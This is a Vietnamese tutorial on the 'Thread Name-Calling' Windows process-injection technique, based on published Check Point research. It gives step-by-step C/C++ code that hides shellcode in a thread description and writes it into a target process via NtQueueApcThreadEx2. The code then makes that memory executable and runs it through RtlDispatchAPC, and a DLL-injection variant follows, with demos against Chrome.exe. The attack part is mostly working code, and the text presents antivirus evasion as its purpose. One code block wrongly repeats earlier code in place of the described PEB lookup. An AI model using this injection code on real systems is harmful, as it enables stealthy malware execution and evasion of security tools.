Process Injection là một kỹ thuật phổ biến trong tấn công mã độc, giúp kẻ tấn công né tránh AV, can thiệp tiến trình và leo thang đặc quyền.

Một biến thể mới của kỹ thuật này là Thread Name-Calling, sử dụng mô tả luồng (Thread Description) để inject shellcode vào tiến trình mà không cần quyền PROCESS_VM_WRITE.

Thread Name-Calling tận dụng các Windows API sau:

– GetThreadDescription / SetThreadDescription – Đọc và ghi mô tả thread.

– NtQueueApcThreadEx2 – API mới cho Asynchronous Procedure Calls (APC).

Các bước thực hiện kỹ thuật:

– Chọn hoặc tạo một thread mới trong tiến trình mục tiêu.

– Thiết lập mô tả cho thread bằng shellcode thông qua SetThreadDescription.

– Sử dụng NtQueueApcThreadEx2 để đẩy GetThreadDescription vào hàng đợi APC, giúp ghi shellcode vào vùng nhớ tiến trình.

– Thực hiện cấp quyền và thực thi Shellcode từ xa

Thread Name-Calling

1. Tạo Handle đến tiến trình đích

Để lấy thông tin tiến trình và thay đổi quyền vùng nhớ sau khi inject shellcode, Handle cần có quyền: PROCESS_QUERY_LIMITED_INFORMATION, PROCESS_VM_READ, PROCESS_VM_OPERATION. Nếu cần tạo luồng mới, phải cấp thêm quyền PROCESS_CREATE_THREAD.

DWORD access = PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_VM_READ | PROCESS_VM_OPERATION;

access |= PROCESS_CREATE_THREAD;
HANDLE hProcess = OpenProcess(access, FALSE, processID);
if (!hProcess || hProcess == INVALID_HANDLE_VALUE) {
printf(“Opening Process Failn”);
return false;
}

2. Chuẩn bị con trỏ cho hàm GetThreadDescription

Sau khi viết Shellcode vào tiến trình đích, cần một con trỏ trỏ đến vùng nhớ đã được ghi. Hàm GetThreadDescription sẽ tự động cấp phát bộ nhớ trên Heap và lưu mô tả luồng tại ppszThreadDescription. Do đó, ta phải chuẩn bị trước một địa chỉ trong tiến trình từ xa để lưu con trỏ này. Một lựa chọn phù hợp là trường SpareUlongs trong PEB

(offset 0x340), do thường không được sử dụng. Để lấy địa chỉ của trường này, ta có thể dùng hàm sau:

DWORD access = PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_VM_READ | PROCESS_VM_OPERATION;
access |= PROCESS_CREATE_THREAD;
HANDLE hProcess = OpenProcess(access, FALSE, processID);
if (!hProcess || hProcess == INVALID_HANDLE_VALUE) {
printf(“Opening Process Failn”);
return false;
}

Lưu ý: Trường này có thể được sử dụng trong các phiên bản Windows tương lai, nên cần kiểm tra và cập nhật nếu cần.

3. Chuẩn bị Thread để thiết lập mô tả

Đến bước này, chúng ta có hai phương án tiếp cận:

– Tạo một Thread mới

– Chọn một Thread hiện có

Tạo Thread Mới

Ta có thể dùng API CreateThreadEx để tạo thread mới. Thread này bị treo và gọi đến hàm SleepEx. Điều này sẽ giúp ta tạo được một Thread ở trạng thái Alertable

DWORD thAccess = SYNCHRONIZE | THREAD_ALL_ACCESS;
pfnNtCreateThreadEx pNtCreateThreadEx = (pfnNtCreateThreadEx)GetProcAddress(GetModuleHandleA(“ntdll.dll”), “NtCreateThreadEx”);
HANDLE hThread = INVALID_HANDLE_VALUE;
if (pNtCreateThreadEx(&hThread, thAccess, NULL, hProcess, (LPVOID)SleepEx, (LPVOID)5000, NT_CREATE_THREAD_EX_SUSPENDED, NULL, 0, 0, NULL) != 0) {
return nullptr;
}

Còn nếu ta sử dụng Thread hiện có, ta chỉ cần tìm một luồng và luồng này cần phải có ít nhất hai quyền THREAD_SET_CONTEXT | THREAD_SET_LIMITED_INFORMATION
HANDLE find_thread(HANDLE hProcess, DWORD min_access)
{
std::vector<DWORD> threads;
if (!list_threads(hProcess, threads)) {
return NULL;
}
HANDLE hThread = NULL;
hThread = open_thread_from_list(threads, SYNCHRONIZE | min_access);
return hThread;
}

DWORD access = SYNCHRONIZE;
access |= THREAD_SET_CONTEXT; // required for the APC queue
access |= THREAD_SET_LIMITED_INFORMATION; // required for setting thread description

HANDLE hThread = find_thread(hProcess, access);
if (!hThread || hThread == INVALID_HANDLE_VALUE) {
printf(“Invalid thread handle!n”);
return nullptr;
}

4. Thiết lập mô tả cho Thread được chọn

 

Sau khi tìm được thread thích hợp, bước tiếp theo là thiết lập mô tả chứa shellcode bằng SetThreadDescription. Tuy nhiên, do hàm này yêu cầu chuỗi widechar (2 byte/char), nếu shellcode có các byte NULL liên tiếp, dữ liệu có thể bị cắt mất, làm shellcode không thể chạy. Để khắc phục, ta sử dụng UNICODE_STRING để định nghĩa độ dài chuỗi thay vì dựa vào NULL kết thúc. Hàm mySetThreadDescription dưới đây giúp thiết lập mô tả thread an toàn mà không làm mất opcode:

HRESULT mySetThreadDescription(HANDLE hThread, const BYTE* buf, size_t buf_size)
{
UNICODE_STRING DestinationString = { 0 };
BYTE* padding = (BYTE*)::calloc(buf_size + sizeof(WCHAR), 1);
::memset(padding, ‘A’, buf_size);

pfRtlInitUnicodeStringEx pRtlInitUnicodeStringEx = (pfRtlInitUnicodeStringEx)GetProcAddress(GetModuleHandleA(“ntdll.dll”), “RtlInitUnicodeStringEx”);
pRtlInitUnicodeStringEx(&DestinationString, (PCWSTR)padding);
// fill with our real content:
::memcpy(DestinationString.Buffer, buf, buf_size);

auto pNtSetInformationThread = reinterpret_cast<decltype(&NtSetInformationThread)>(GetProcAddress(GetModuleHandleA(“ntdll.dll”), “NtSetInformationThread”));
NTSTATUS status = pNtSetInformationThread(hThread, (THREADINFOCLASS)ThreadNameInformation, &DestinationString, sizeof(UNICODE_STRING));
::free(padding);
return HRESULT_FROM_NT(status);
}

Lúc này chỉ cần gọi hàm ra và thiết lập mô tả cho Thread

HRESULT hr = mySetThreadDescription(hThread, buf, buf_size);
if (FAILED(hr)) {
printf(“Failed to set thread descn”);
return nullptr;
}

5. Viết Shellcode vào tiến trình đích bằng NtQueueApcThreadEx2

Thông thường, QueueUserAPC và NtQueueApcThread yêu cầu thread ở trạng thái Alertable, gây khó khăn khi tiêm shellcode vào các tiến trình không có thread phù hợp. Để khắc phục, ta sử dụng NtQueueApcThreadEx2, hỗ trợ Special User APC (QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC), cho phép thực thi APC ngay cả khi thread không ở trạng thái Alertable.Để giải quyết vấn đề này. Ta có API NtQueueApcThreadEx2

Lúc này việc tiếp theo là đẩy hàm GetThreadDescription vào APC tại luồng mà chúng ta vừa thiết lập mô tả lúc nãy và gọi CloseHandle để hàm APC thực thi (hoặc ResumeHandle trong trường hợp tạo luồng mới).

pfNtQueueApcThreadEx2 pNtQueueApcThreadEx2 = (pfNtQueueApcThreadEx2)GetProcAddress(GetModuleHandleA(“ntdll.dll”), “NtQueueApcThreadEx2”);
printf(“Using NtQueueApcThreadEx2…n”);
if (!NT_SUCCESS(pNtQueueApcThreadEx2(hThread, nullptr, QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC, GetThreadDescription, (void*)NtCurrentThread(), (void*)remotePtr, 0))) {
CloseHandle(hThread);
return nullptr;
}
// Close Handle
CloseHandle(hThread);

Sau khi thực thi, shellcode sẽ được lưu tại remotePtr ta chỉ cần đọc giá trị từ đó.

wchar_t* wPtr = nullptr;
bool isRead = false;
while ((wPtr = (wchar_t*)ReadRemotePtr(hProcess, remotePtr, isRead)) == nullptr) {
if (!isRead) return nullptr;
Sleep(5000); // waiting for the pointer to be written;
}
printf(“Written to the Threadn”);
return wPtr;

Lúc này ta đã thành công viết được Shellcode vào tiến trình đích và có một con trỏ đến địa chỉ ấy.

6. Cấp quyền thực thi và thực thi Shellcode

Sau khi inject shellcode vào tiến trình đích, ta cần cấp quyền thực thi và thực thi nó. Việc gọi trực tiếp shellcode có thể bị phát hiện, do đó, ta sử dụng một hàm hợp lệ làm proxy – cụ thể là RtlDispatchAPC. Hàm này có 3 tham số, vì thế nó phù hợp để có thể được đẩy vào hàng đợi APC thông qua NtQueueApcThreadEx2 để thực thi shellcode một cách an toàn.

Quy trình thực hiện:

– Tìm một thread phù hợp trong tiến trình đích.

– Cấp quyền thực thi từ xa cho shellcode bằng VirtualProtectEx.

– Đẩy RtlDispatchAPC vào hàng đợi APC để thực thi shellcode.

bool RunIject(HANDLE hProcess, void* remotePtr, size_t payload_len, void* stackPtr = NULL) {
void* shellcodePtr = remotePtr;

// Find Thread
DWORD access = SYNCHRONIZE;
access |= THREAD_SET_CONTEXT; // required for the APC queue
access |= THREAD_SET_LIMITED_INFORMATION; // required for setting thread description

HANDLE hThread = find_thread(hProcess, access);
if (!hThread || hThread == INVALID_HANDLE_VALUE) {
printf(“Invalid thread handle!n”);
return false;
}
// Cấp quyền thực thi từ xa
DWORD oldProtect = 0;
if (!VirtualProtectEx(hProcess, shellcodePtr, payload_len, PAGE_EXECUTE_READWRITE, &oldProtect)) {
printf(“Failed to protect: %#Xn”, GetLastError());
return false;
}
printf(“Protection changed! Old: 0x%Xn”, oldProtect);

bool isOk = false;
auto _RtlDispatchAPC = GetProcAddress(GetModuleHandleA(“ntdll.dll”), MAKEINTRESOURCEA(8));
// Queue APC Thread để đẩy RtlDispatchAPC vào hàng đợi APC
if (_RtlDispatchAPC) {
pfNtQueueApcThreadEx2 pNtQueueApcThreadEx2 = (pfNtQueueApcThreadEx2)GetProcAddress(GetModuleHandleA(“ntdll.dll”), “NtQueueApcThreadEx2”);
printf(“Using NtQueueApcThreadEx2…n”);
if (!NT_SUCCESS(pNtQueueApcThreadEx2(hThread, nullptr, QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC, _RtlDispatchAPC, shellcodePtr, 0, (void*)(-1)))) {
CloseHandle(hThread);
}
isOk = true;
}
printf(“Added to the thread queue!n”);
// CloseHandle và đợi Shellcode được thực thi
CloseHandle(hThread);

return isOk;
}

Bằng cách này, shellcode sẽ được thực thi gián tiếp qua APC, giúp giảm thiểu khả năng bị phát hiện.

Kết Quả

Tiến hành thực nghiệm kỹ thuật Thread Name-Calling với
một đoạn Shellcode đơn giản để chạy lệnh WinExec(“calc.exe”)

Thread Name-Calling bằng cách tạo một Thread mới

Chạy file ThreadNameCalling.exe với tham số truyền vào
là PID của tiến trình Chrome.exe. Và dưới đây là kết quả

 

Có thể thấy đã Inject và thực thi Shellcode thành công. Tuy nhiên kỹ thuật này tồn tại một điểm yếu là nó tạo thêm một Thread mới, và điều này là quá lộ liễu và có thể dễ dàng phát hiện ra

 

Thread Name-Calling bằng cách sử dụng Thread Sẵn có

Chạy file ThreadNameCalling_ExistThread.exe với tham số truyền vào là PID của tiến trình Chrome.exe. Và dưới đây là kết quả

Có thể thấy ta đã Inject và thực thi Shellcode thành công

DLL Injection sử dụng Thread Name-Calling

Có thể sử dụng Thread Name-Calling để thực hiện DLL Injection, bằng cách:

– Thay vì truyền Shellcode thì ta sẽ truyền đường dẫn của DLL khác vào.

– Tại phần thực thi Shellcode, thay vì đẩy RtlDispatchAPC vào hàng đợi APC, ta sẽ đẩy hàm LoadLibraryW vào

bool RunIject(HANDLE hProcess, void* remotePtr) {
// Find Thread
DWORD access = SYNCHRONIZE;
access |= THREAD_SET_CONTEXT; // required for the APC queue
access |= THREAD_SET_LIMITED_INFORMATION; // required for setting thread description
HANDLE hThread = find_thread(hProcess, access);
if (!hThread || hThread == INVALID_HANDLE_VALUE) {
printf(“Invalid thread handle!n”);
return false;
}
pfNtQueueApcThreadEx2 pNtQueueApcThreadEx2 = (pfNtQueueApcThreadEx2)GetProcAddress(GetModuleHandleA(“ntdll.dll”), “NtQueueApcThreadEx2”);
printf(“Using NtQueueApcThreadEx2…n”);
BOOL isOk = TRUE;
if (!NT_SUCCESS(pNtQueueApcThreadEx2(hThread, nullptr, QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC, LoadLibraryW, remotePtr, 0, 0))) {
CloseHandle(hThread);
isOk = FALSE;
}
printf(“Added to the thread queue!n”);
CloseHandle(hThread);
return isOk;
}

Tiến hành DLL Injection sử dụng Thread Name-Calling với tiến trình Chrome.exe. DLL được sử dụng có DLLMain nhảy lên một MessageBox đơn giản, và ta thu được kết quả như hình dưới

Tuy nhiên kỹ thuật này vẫn mắc phải một điểm yếu, là nó Load DLL được Inject vào Module của tiến trình đích. Điều này rất dễ bị phát hiện

Tổng Kết

Thread Name-Calling là một kỹ thuật Process Injection mới, giúp bypass một số sản phẩm AV đơn giản bằng cách inject shellcode mà không cần quyền ghi PROCESS_VM_WRITE. So với DLL Injection hay APC Injection, phương pháp này khó bị phát hiện hơn do sử dụng các API ít phổ biến. Tuy nhiên, thao túng quyền truy cập từ xa và sử dụng APC vẫn là hành vi đáng ngờ, có thể bị các AV mạnh như Kaspersky hoặc hệ thống EDR giám sát. Microsoft cũng đang cải thiện ETW logging, giúp theo dõi các API

quan trọng, hạn chế khả năng kỹ thuật này bị bỏ sót trong tương lai.

Tài liệu tham khảo

https://research.checkpoint.com/2024/thread-name-calling-using-thread-name-for-offense/

https://github.com/hasherezade/thread_namecalling

https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-queueuserapc2

35 lượt xem